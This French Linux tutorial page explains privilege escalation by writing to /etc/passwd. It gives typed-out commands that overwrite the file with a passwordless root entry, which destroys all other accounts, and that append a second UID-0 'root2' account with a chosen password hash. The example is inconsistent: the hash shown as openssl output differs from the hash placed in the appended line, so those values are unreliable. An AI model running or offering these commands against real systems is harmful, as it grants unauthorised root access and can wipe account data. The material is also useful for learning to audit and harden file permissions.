GNU/Linux >> Tutoriels Linux >  >> Linux

Élévation de privilèges à l'aide du fichier passwd

Les mots de passe sont normalement stockés dans /etc/shadow , qui n'est pas lisible par les utilisateurs. Cependant, historiquement, ils étaient stockés dans le fichier lisible par tous /etc/passwd ainsi que toutes les informations de compte. Pour la rétrocompatibilité, si un hachage de mot de passe est présent dans la deuxième colonne de /etc/passwd , il a priorité sur celui de /etc/shadow .

Historiquement, un second champ vide dans /etc/passwd signifie que le compte n'a pas de mot de passe, c'est-à-dire que n'importe qui peut se connecter sans mot de passe (utilisé pour les comptes invités). Ceci est parfois désactivé. Si les comptes sans mot de passe sont désactivés, vous pouvez mettre le hachage d'un mot de passe de votre choix. Vous pouvez utiliser le crypt fonction pour générer des hachages de mot de passe, par exemple perl -le 'print crypt("foo", "aa")' pour définir le mot de passe sur foo .

Il est possible d'obtenir un accès root même si vous ne pouvez ajouter qu'à /etc/passwd et ne pas écraser le contenu. C'est parce qu'il est possible d'avoir plusieurs entrées pour le même utilisateur, tant qu'ils ont des noms différents — les utilisateurs sont identifiés par leur ID, pas par leur nom, et la caractéristique déterminante du compte root n'est pas son nom mais le fait qu'il a l'ID utilisateur 0. Vous pouvez donc créer un autre compte racine en ajoutant une ligne qui déclare un compte avec un autre nom, un mot de passe de votre choix et l'ID utilisateur 0.


Tapez simplement :

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

et vous êtes root.

(Suppression de x signifie que root n'a plus besoin de mot de passe, vous pouvez utiliser sed commande au lieu de echo mais cela suffit pour obtenir le shell root)


Vous pouvez utiliser cette méthode non destructive :

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

Linux
  1. Démarrer avec ls

  2. Comment automatiser les transferts de fichiers sftp à l'aide de l'utilitaire expect

  3. Utilisation de la commande passwd à partir d'un script shell

  4. Utilisation de nc pour transférer un fichier volumineux

  5. Connectez-vous à MySQL via la ligne de commande sans utiliser de mot de passe root ?

Utilisation du fichier de configuration SSH

Utilisation de PHP-FPM avec Apache sur Ubuntu 16.04

Comment protéger par mot de passe un fichier à l'aide de Vim sous Linux

Créer une liste de mots personnalisée (fichier de vidage du générateur de mots de passe) à l'aide de Crunch

Comment changer le mot de passe root avec WHM ?

Comment protéger les fichiers par mot de passe à l'aide de l'éditeur Vim dans Ubuntu